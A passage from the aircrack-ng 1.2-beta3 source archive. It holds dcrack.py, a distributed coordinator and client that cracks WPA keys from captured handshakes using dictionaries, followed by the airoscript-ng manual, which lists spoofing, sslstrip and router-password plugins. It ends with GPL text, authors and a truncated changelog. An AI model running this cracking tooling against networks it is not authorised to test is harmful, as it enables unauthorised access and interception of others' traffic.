"%s-%s.txt" % (f, h) os.rename(f, n) os.rename(c, "%s.gz" % n) c = con.cursor() c.execute("INSERT into dict values (?, ?, 0)", (h, i)) con.commit() def do_upload_cap(s): cl = int(s.headers['Content-Length']) f = open("dcrack.cap.tmp.gz", "wb") f.write(s.rfile.read(cl)) f.close() decompress("dcrack.cap.tmp") os.rename("dcrack.cap.tmp.gz", "dcrack.cap.gz") os.rename("dcrack.cap.tmp", "dcrack.cap") def do_req(s, path): con = get_con() c = con.cursor() c.execute("""DELETE from clients where (strftime('%s', datetime()) - strftime('%s', last)) > 300""") con.commit() if ("ping" in path): return s.do_ping(path) if ("getwork" in path): return s.do_getwork(path) if ("dict" in path and "status" in path): return s.do_dict_status(path) if ("dict" in path and "set" in path): return s.do_dict_set(path) if ("dict" in path): return s.get_dict(path) if ("net" in path and "/crack" in path): return s.do_crack(path) if ("net" in path and "result" in path): return s.do_result(path) if ("cap" in path): return s.get_cap(path) if ("status" in path): return s.get_status() if ("remove" in path): return s.remove(path) return "error" def remove(s, path): con = get_con() p = path.split("/") n = p[4].upper() c = con.cursor() c.execute("DELETE from nets where bssid = ?", (n,)) con.commit() c.execute("DELETE from work where net = ?", (n,)) con.commit() return "OK" def get_status(s): con = get_con() c = con.cursor() c.execute("SELECT * from clients") clients = [] for r in c.fetchall(): clients.append(r['speed']) nets = [] c.execute("SELECT * from dict where current = 1") dic = c.fetchone() c.execute("SELECT * from nets") for r in c.fetchall(): n = { "bssid" : r['bssid'] } if r['pass']: n["pass"] = r['pass'] if r['state'] != 2: n["tot"] = dic["lines"] did = 0 cur = con.cursor() cur.execute("""SELECT * from work where net = ? and dict = ? and state = 2""", (n['bssid'], dic['id'])) for row in cur.fetchall(): did += row['end'] - row['start'] n["did"] = did nets.append(n) d = { "clients" : clients, "nets" : nets } return json.dumps(d) def do_result_pass(s, net, pw): con = get_con() pf = "dcrack-pass.txt" f = open(pf, "w") f.write(pw) f.write("\n") f.close() cmd = ["aircrack-ng", "-w", pf, "-b", net, "-q", "dcrack.cap"] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) res = p.communicate()[0] res = str(res) os.remove(pf) if not "KEY FOUND" in res: return "error" s.net_done(net) c = con.cursor() c.execute("UPDATE nets set pass = ? where bssid = ?", \ (pw, net)) con.commit() return "OK" def net_done(s, net): con = get_con() c = con.cursor() c.execute("UPDATE nets set state = 2 where bssid = ?", (net,)) c.execute("DELETE from work where net = ?", (net,)) con.commit() def do_result(s, path): con = get_con() p = path.split("/") n = p[4].upper() x = urlparse(path) qs = parse_qs(x.query) if "pass" in qs: return s.do_result_pass(n, qs['pass'][0]) wl = qs['wl'][0] c = con.cursor() c.execute("SELECT * from nets where bssid = ?", (n,)) r = c.fetchone() if r and r['state'] == 2: return "Already done" c.execute("""UPDATE work set state = 2 where net = ? and dict = ? and start = ? and end = ?""", (n, wl, qs['start'][0], qs['end'][0])) con.commit() if c.rowcount == 0: c.execute("""INSERT into work values (NULL, ?, ?, ?, ?, datetime(), 2)""", (n, wl, qs['start'][0], qs['end'][0])) con.commit() # check status c.execute("""SELECT * from work where net = ? and dict = ? and state = 2 order by start""", (n, wl)) i = 0 r = c.fetchall() for row in r: if i == row['start']: i = row['end'] else: break c.execute("SELECT * from dict where id = ? and lines = ?", (wl, i)) r = c.fetchone() if r: s.net_done(n) return "OK" def get_cap(s, path): return s.serve_file("dcrack.cap.gz") def get_dict(s, path): p = path.split("/") n = p[4] fn = "dcrack-dict-%s.txt.gz" % n return s.serve_file(fn) def serve_file(s, fn): s.send_response(200) s.send_header("Content-type", "application/x-gzip") s.end_headers() # XXX openat f = open(fn, "rb") s.wfile.write(f.read()) f.close() return None def do_crack(s, path): con = get_con() p = path.split("/") n = p[4].upper() c = con.cursor() c.execute("INSERT into nets values (?, NULL, 1)", (n,)) con.commit() return "OK" def do_dict_set(s, path): con = get_con() p = path.split("/") h = p[4] c = con.cursor() c.execute("UPDATE dict set current = 0") c.execute("UPDATE dict set current = 1 where id = ?", (h,)) con.commit() return "OK" def do_ping(s, path): con = get_con() p = path.split("/") cid = p[4] x = urlparse(path) qs = parse_qs(x.query) speed = qs['speed'][0] c = con.cursor() c.execute("SELECT * from clients where id = ?", (cid,)) r = c.fetchall() if (not r): c.execute("INSERT into clients values (?, ?, datetime())", (cid, int(speed))) else: c.execute("""UPDATE clients set speed = ?, last = datetime() where id = ?""", (int(speed), cid)) con.commit() return "60" def try_network(s, net, d): con = get_con() c = con.cursor() c.execute("""SELECT * from work where net = ? and dict = ? order by start""", (net['bssid'], d['id'])) r = c.fetchall() s = 5000000 i = 0 found = False for row in r: if found: if i + s > row['start']: s = row['start'] - i break if (i >= row['start'] and i <= row['end']): i = row['end'] else: found = True if i + s > d['lines']: s = d['lines'] - i if s == 0: return None c.execute("INSERT into work values (NULL, ?, ?, ?, ?, datetime(), 1)", (net['bssid'], d['id'], i, i + s)) con.commit() crack = { "net" : net['bssid'], \ "dict" : d['id'], \ "start" : i, \ "end" : i + s } j = json.dumps(crack) return j def do_getwork(s, path): con = get_con() c = con.cursor() c.execute("""DELETE from work where ((strftime('%s', datetime()) - strftime('%s', last)) > 3600) and state = 1""") con.commit() c.execute("SELECT * from dict where current = 1") d = c.fetchone() c.execute("SELECT * from nets where state = 1") r = c.fetchall() for row in r: res = s.try_network(row, d) if res: return res # try some old stuff c.execute("""select * from work where state = 1 order by last limit 1""") res = c.fetchone() if res: c.execute("DELETE from work where id = ?", (res['id'],)) for row in r: res = s.try_network(row, d) if res: return res res = { "interval" : "60" } return json.dumps(res) def do_dict_status(s, path): p = path.split("/") d = p[4] try: f = open("dcrack-dict-%s.txt" % d) f.close() return "OK" except: return "NO" def create_db(): con = get_con() c = con.cursor() c.execute("""create table clients (id varchar(255), speed integer, last datetime)""") c.execute("""create table dict (id varchar(255), lines integer, current boolean)""") c.execute("""create table nets (bssid varchar(255), pass varchar(255), state integer)""") c.execute("""create table work (id integer primary key, net varchar(255), dict varchar(255), start integer, end integer, last datetime, state integer)""") def connect_db(): con = sqlite3.connect('dcrack.db') con.row_factory = sqlite3.Row return con def get_con(): global tls try: return tls.con except: tls.con = connect_db() return tls.con def init_db(): con = get_con() c = con.cursor() try: c.execute("SELECT * from clients") except: create_db() def server(): init_db() server_class = ThreadingTCPServer httpd = server_class(('', port), ServerHandler) print("Starting server") httpd.serve_forever() def usage(): print("""dcrack v0.3 Usage: dcrack.py [MODE] server Runs coordinator client Runs cracker cmd [CMD] Sends a command to server [CMD] can be: dict cap crack remove status""") exit(1) def get_speed(): print("Getting speed") p = subprocess.Popen(["aircrack-ng", "-S"], stdout=subprocess.PIPE) speed = p.stdout.readline() speed = speed.split() speed = speed[len(speed) - 2] return int(speed) def get_cid(): return random.getrandbits(64) def do_ping(speed): global url, cid u = url + "client/" + str(cid) + "/ping?speed=" + str(speed) stuff = urlopen(u).read() interval = int(stuff) return interval def pinger(speed): while True: interval = try_ping(speed) time.sleep(interval) def try_ping(speed): while True: try: return do_ping(speed) except URLError: print("Conn refused (pinger)") time.sleep(60) def get_work(): global url, cid, cracker u = url + "client/" + str(cid) + "/getwork" stuff = urlopen(u).read() stuff = stuff.decode("utf-8") crack = json.loads(stuff) if "interval" in crack: print("Waiting") return int(crack['interval']) wl = setup_dict(crack) cap = get_cap(crack) print("Cracking") cmd = ["aircrack-ng", "-w", wl, "-b", crack['net'], "-q", cap] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) cracker = p res = p.communicate()[0] res = str(res) cracker = None if ("not in dictionary" in res): print("No luck") u = "%snet/%s/result?wl=%s&start=%d&end=%d&found=0" % \ (url, crack['net'], crack['dict'], \ crack['start'], crack['end']) stuff = urlopen(u).read() elif "KEY FOUND" in res: pw = re.sub("^.*\[ ", "", res) i = pw.rfind(" ]") if i == -1: raise BaseException("Can't parse output") pw = pw[:i] print("Key for %s is %s" % (crack['net'], pw)) u = "%snet/%s/result?pass=%s" % (url, crack['net'], pw) stuff = urlopen(u).read() return 0 def decompress(fn): f = gzip.open(fn + ".gz") o = open(fn, "wb") o.writelines(f) o.close() f.close() def setup_dict(crack): global url d = crack['dict'] fn = "dcrack-client-dict-%s.txt" % d try: f = open(fn) f.close() except: print("Downloading dictionary %s" % d) u = "%sdict/%s" % (url, d) stuff = urlopen(u) f = open(fn + ".gz", "wb") f.write(stuff.read()) f.close() print("Uncompressing dictionary") decompress(fn) sha1 = hashlib.sha1() f = open(fn, "rb") sha1.update(f.read()) f.close() h = sha1.hexdigest() if h != d: print("bad dictionary") exit(1) s = "dcrack-client-dict-%s-%d:%d.txt" \ % (d, crack['start'], crack['end']) try: f = open(s) f.close() except: print("Splitting dict %s" % s) f = open(fn, "rb") o = open(s, "wb") for i, l in enumerate(f): if i >= crack['end']: break if i >= crack['start']: o.write(l) f.close() o.close() return s def get_cap(crack): global url, nets fn = "dcrack-client.cap" bssid = crack['net'].upper() if bssid in nets: return fn try: f = open(fn, "rb") f.close() check_cap(fn, bssid) except: pass if bssid in nets: return fn print("Downloading cap") u = "%scap/%s" % (url, bssid) stuff = urlopen(u) f = open(fn + ".gz", "wb") f.write(stuff.read()) f.close() print("Uncompressing cap") decompress(fn) nets = {} check_cap(fn, bssid) if bssid not in nets: raise BaseException("Can't find net %s" % bssid) return fn def process_cap(fn): global nets nets = {} print("Processing cap") p = subprocess.Popen(["aircrack-ng", fn], stdout=subprocess.PIPE, \ stdin=subprocess.PIPE) found = False while True: line = p.stdout.readline() try: line = line.decode("utf-8") except: line = str(line) if "1 handshake" in line: found = True parts = line.split() b = parts[1].upper() # print("BSSID [%s]" % b) nets[b] = True if (found and line == "\n"): break p.stdin.write(bytes("1\n", "utf-8")) p.communicate() def check_cap(fn, bssid): global nets cmd = ["aircrack-ng", "-b", bssid, fn] p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE) res = p.communicate()[0] res = str(res) if "No matching network found" not in res: nets[bssid] = True def worker(): while True: interval = get_work() time.sleep(interval) def set_url(): global url, port if len(sys.argv) < 3: print("Provide server addr") usage() host = sys.argv[2] if not ":" in host: host = "%s:%d" % (host, port) url = "http://" + host + "/" + "dcrack/" def client(): global cid, cracker, url set_url() url += "worker/" speed = get_speed() print("Speed", speed) cid = get_cid() print("CID", cid) try_ping(speed) t = threading.Thread(target=pinger, args=(speed,)) t.start() while True: try: do_client() break except URLError: print("Conn refused") time.sleep(60) def do_client(): try: worker() except KeyboardInterrupt: if cracker: cracker.kill() print("one more time...") def upload_file(url, f): x = urlparse(url) c = HTTPConnection(x.netloc) # XXX not quite HTTP form f = open(f, "rb") c.request("POST", x.path, f) res = c.getresponse() stuff = res.read() c.close() f.close() return stuff def compress_file(f): i = open(f, "rb") o = gzip.open(f + ".gz", "wb") o.writelines(i) o.close() i.close() def send_dict(): global url if len(sys.argv) < 5: print("Need dict") usage() d = sys.argv[4] print("Calculating dictionary hash for %s" % d) sha1 = hashlib.sha1() f = open(d, "rb") sha1.update(f.read()) f.close() h = sha1.hexdigest() print("Hash is %s" % h) u = url + "dict/" + h + "/status" stuff = urlopen(u).read() if "NO" in str(stuff): u = url + "dict/create" print("Compressing dictionary") compress_file(d) print("Uploading dictionary") upload_file(u, d + ".gz") print("Setting dictionary to %s" % d) u = url + "dict/" + h + "/set" stuff = urlopen(u).read() def send_cap(): global url if len(sys.argv) < 5: print("Need cap") usage() cap = sys.argv[4] print("Cleaning cap %s" % cap) subprocess.Popen(["wpaclean", cap + ".clean", cap], \ stderr=subprocess.STDOUT, stdout=subprocess.PIPE).communicate()[0] print("Compressing cap") compress_file(cap + ".clean") u = url + "cap/create" upload_file(u, cap + ".clean.gz") def cmd_crack(): net_cmd("crack") def net_cmd(op): global url if len(sys.argv) < 5: print("Need BSSID") usage() bssid = sys.argv[4] print("%s %s" % (op, bssid)) u = "%snet/%s/%s" % (url, bssid, op) stuff = urlopen(u).read() def cmd_remove(): net_cmd("remove") def cmd_status(): u = "%sstatus" % url stuff = urlopen(u).read() stuff = json.loads(stuff.decode("utf-8")) # print(stuff) # print("=============") i = 0 speed = 0 for c in stuff['clients']: i += 1 speed += c print("Clients\t%d\nSpeed\t%d\n" % (i, speed)) need = 0 for n in stuff['nets']: out = n['bssid'] + " " if "pass" in n: out += n['pass'] elif "did" in n: did = int(float(n['did']) / float(n['tot']) * 100.0) out += str(did) + "%" need += n['tot'] - n['did'] else: out += "-" print(out) if need != 0: print("\nKeys left %d" % need) if speed != 0: s = int(float(need) / float(speed)) sec = datetime.timedelta(seconds=s) d = datetime.datetime(1,1,1) + sec print("ETA %dh %dm" % (d.hour, d.minute)) def do_cmd(): global url set_url() url += "cmd/" if len(sys.argv) < 4: print("Need CMD") usage() cmd = sys.argv[3] if "dict" in cmd: send_dict() elif "cap" in cmd: send_cap() elif "crack" in cmd: cmd_crack() elif "status" in cmd: cmd_status() elif "remove" in cmd: cmd_remove() else: print("Unknown cmd %s" % cmd) usage() def main(): if len(sys.argv) < 2: usage() cmd = sys.argv[1] if cmd == "server": server() elif cmd == "client": client() elif cmd == "cmd": do_cmd() else: print("Unknown cmd", cmd) usage() exit(0) if __name__ == "__main__": main() aircrack-ng-1.2-beta3/scripts/airoscript-ng/0000755000000000000000000000000012316431270017476 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/Readme.rst0000777000000000000000000000000012316431267024124 2doc/Readme.rstustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/0000755000000000000000000000000012316431267020251 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/Readme.rst0000644000000000000000000001316711776654501022217 0ustar rootroot=============== Airoscript-ng =============== --------------------------------------------- User interface to aircrack-ng --------------------------------------------- :Author: This manual page was written by David Francos :Date: 2011-11-17 :Copyright: David Francos Cuartero :Version: 1.1 :Manual section: 1 :Manual group: net SYNOPSIS ======== airoscript-ng [-h] [-t TERMINAL] [-v] [-w WIRELESS_CARD] [-b] [-m fakemac|realmac] [-a] [-n FILTER] [-x] [-z] [-p PLUGIN_FILE] DESCRIPTION =========== Airoscript is a complete user interface for aircrack-ng. It gives you almost all functionality that aircrack-ng has, allowing you to save some time from writting commands. Writing commands may be good to learn how does it work, but repeatedly doing so can damage your mind and your body. Airoscript also provides a comprehensive way to generate CEO-readable network security reports, writable (by wkhtml2pdf plugin) as pdf. OPTIONS ======= -h Show this message -t terminal Specify terminal (xterm or screen) -v Verbose & debug mode -w wireless_card Specify wifi card -b Writes a csv file with network data. -m mac_mode Change mac to fakemac before everything else. (mac mode can be fakemac or realmac) -a Automatic mode -n regex Filter SSID by regex -x Autoconfigure network after automatic crack (requires -a) -z Don't scan automatically at start Examples ======== Crack the first of all my test networks using my own mac :: airoscript-ng -w wlan0 -m realmac -n "XayOnTest_(.*)" Try to crack any network with faked mac. Warning, this may conduct you to commit a crime :: airoscript-ng -w wlan0 -m fakemac -a .. The following one is a little bigger - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict) - It forces to use xterm interface (wich, by the way, is the default stuff) - Uses wlan1 as interface - Writes a csv file with the network data for posterior analysis - Uses your real mac - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev)) - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it. airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy Developers ========== | Help and feedback is greatly appreciated. | Please feel free to mail XayOn at xayon@xayon.net Compliance ========== In the wrong hands, airoscript and aircrack-ng could easily violate the government certification of your radio. A simple example of this is running injection on frequencies your radio isn't certified for in your geographic region. You and only you are responsible for making sure that your tools *including* *airoscript* are compliant with the regulations in your country and region. Bugs and feature requests ========================= Please submit bugs in aircrack-ng trac or aircrack-ng oficial forum "airoscript support" subforum. Menu usage ========== Airoscript-ng menu is quite intuitive, and it's documented in the html docs. Since version 1.1 is able to queue commands, that is, you can tell it to do 1 then 2 in a menu just by entering "1 2" (without the quotes). Configuration ============= There are 2 configuration files, airoscript-ng.conf and airoscript-ng_advanced.conf that are well explained within them. .. this is for the manpage, sorry for the inconvenience .. include:: doc/install Plugin support ============== Airoscript supports plugins, shell scripts listed in enabled_plugins on airoscript configuration (use the full path there). Since svn revision 1969 airoscript-ng has a plugin menu, wich will make you able to enable any plugin after airoscript has been started just by selecting it. Currently (at 1991) the plugin list that comes out with airoscript is: - arpspoof --> Enables arp spoof menu - digenpy --> Enables digenpy dictionary generator for cracking - dsniff --> launches dsniff (better use it with arpspoof and sslstrip) - hydra --> Configures network, then launches hydra to get router password - iptables --> Configures iptables to redirect trough it (needed for arpspoof sslstrip) - johntheripper --> Enables john the ripper to generate password lists for cracking WPA - mdk3 --> Enables mdk3 menu - sslstrip --> Enables sslstrip menu - tcpdstat --> When making a report, includes tcpdstat's protocol statistics - wkhtmltopdf --> Converts reports to pdf - zenity --> Enables a zenity-based graphical interface for airoscript-ng (needs also libnotify-bin) - pyrit --> a raw interface for pyrit, requires pyrit knowledge Creating a plugin ================= For a plugin to add a menu entry, you'll have to set $plugins_menu["Title of the menu you want to use"] to an array of the entries you want to add. Have a look at http://xayon.net/adding-nessus-support-to-airoscript/ for a more complete tutorial. SEE ALSO ======== .. _airoscript-ng homepage: http://airoscript.aircrack-ng.org/ .. _airoscript-ng google code: http://code.google.com/p/airoscript .. _XayOns blog: http://www.xayon.net | airoscript.conf(1) | airdecap-ng(1) | airdriver-ng(1) | aireplay-ng(1) | airmon-ng(1) | airodump-ng(1) | airolib-ng(1) | airsev-ng(1) | airtun-ng(1) | buddy-ng(1) | easside-ng(1) | ivstools(1) | kstats(1) | makeivs-ng(1) | packetforge-ng(1) | wesside-ng(1) | aircrack-ng(1) aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/license0000644000000000000000000004310611553667335021633 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/authors0000644000000000000000000000057311553667335021677 0ustar rootrootAuthors ------- - David Francos Cuartero (XayOn) - Daouid Other contributors =================== - CurioCT - Befa - Mister_X - ASPj - Hirte - Goldfish - ml2 - andreahaku - Pilotsnipes - Larry Hajali - STOUF - Ahmed El-Mahmoudy. Note that not every contributor is listed here, thanks to all those too. aircrack-ng-1.2-beta3/scripts/airoscript-ng/doc/changelog0000644000000000000000000003036211661246422022126 0ustar rootrootChangelog for airoscript-ng 1.2 - Renamed version 1.2-3 to 1.2 (It's a mess, but I 1.2-3 must have been 1.2-rc1) - Improved usability - Fixed bugs on argument parsing. - Added --ignore-negative-one to all aircrack-ng commands - Added a new reporting system that generates html and pdf with kstats and airgraph-ng support - Virtual interface deletion is automated upon exit (by a trap). You can kill airoscript with ctrl-c now safely - Improved autocrack system - Added (experimental and brief) pyrit support - Added "developement mode" - Fixed resolution detection so it will work on any resolution - Added a plugin menu to hotplug plugins - Added an hydra plugin (autocrack for router default passwords) - If there's a 